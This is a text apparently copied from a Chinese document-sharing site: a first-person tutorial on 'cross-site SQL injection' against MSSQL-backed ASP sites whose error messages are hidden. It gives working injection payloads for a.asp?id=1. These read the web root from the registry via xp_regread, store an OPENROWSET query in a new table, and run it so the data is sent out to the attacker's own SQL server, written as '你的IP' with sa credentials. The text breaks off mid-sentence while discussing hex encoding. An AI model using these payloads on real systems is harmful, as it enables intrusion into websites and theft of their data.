资源描述:
《跨站式sql注入技巧》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、跨站式SQL注入技巧前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式SQL注入”。思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。第一个想法:SQL可以连接外部的数据库。。于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本地
2、启动一个SQLserver,并且用SA的身份在SQL事件探测器里边建立一个跟踪。 尝试sp_addlinkedserver如果成功,那就和操作本地数据库一样了。。 提示必须是sysadmin的身份。。失败。 换一个思路:只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。。 于是考虑到一个权限要求不是很高的命令:OPENROWSET来跨服务器查询。。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。。 第一次尝试,首先还是执行cre
3、atetable[dbo].[laokai]([cha8][char](255))--建立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintolaokai(c
4、ha8)values('SELECTa.*FROMOPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'',''SELECT*FROMpubs.dbo.authorswhereau_fname='''''+@result+''''''')ASa');--这段代码什么意思哪?就是把网站的路径信息写入数据库。。也不是单纯的写,写得同时构造一个SQL语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。 SELECTa.*FROMOPENROWS
5、ET('SQLOLEDB','你的IP';'sa';'密码','SELECT*FROMpubs.dbo.authorswhereau_fname=''C:Inetpub,,1''')ASa其中的C:Inetpub,,1就是注册表记录的根目录,最后要做的是:DECLARE@a1char(255)set@a1=(SELECTcha8FROMlaokai)exec(@a1);--这样就等于执行了SELECTa.*FROMOPENROWSET('SQLOLEDB','你的IP';'sa';'密码','SELEC
6、T*FROMpubs.dbo.authorswhereau_fname=''C:Inetpub,,1''')ASa这一条语句,同时你会在事件探测器那边会显示: SELECT*FROMpubs.dbo.authorswhereau_fname='C:Inetpub,,1'其中的C:Inetpub就是网站的路径。。调试成功。。 现在进入实战阶段。。某网站屏蔽了全部出错信息。。但是我们可以确定它存在注入点a.asp?id=1,怎么做呢?a.asp?id=1;createtable[dbo].[laokai]
7、([cha8][char](255))--返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:a.asp?id=1;DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintolaokai(cha8)values('SELECTa.
8、*FROMOPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'',''SELECT*FROMpubs.dbo.authorswhereau_fname='''''+@result+''''''')ASa');--出错了。。出错信息被屏蔽了。。怎么办?经过研究发现是里边的某些字符例如+号需要转化成16进制。。或许还有别的地方要转化。。怎么办啊?于是写了一个ASCII转化16进制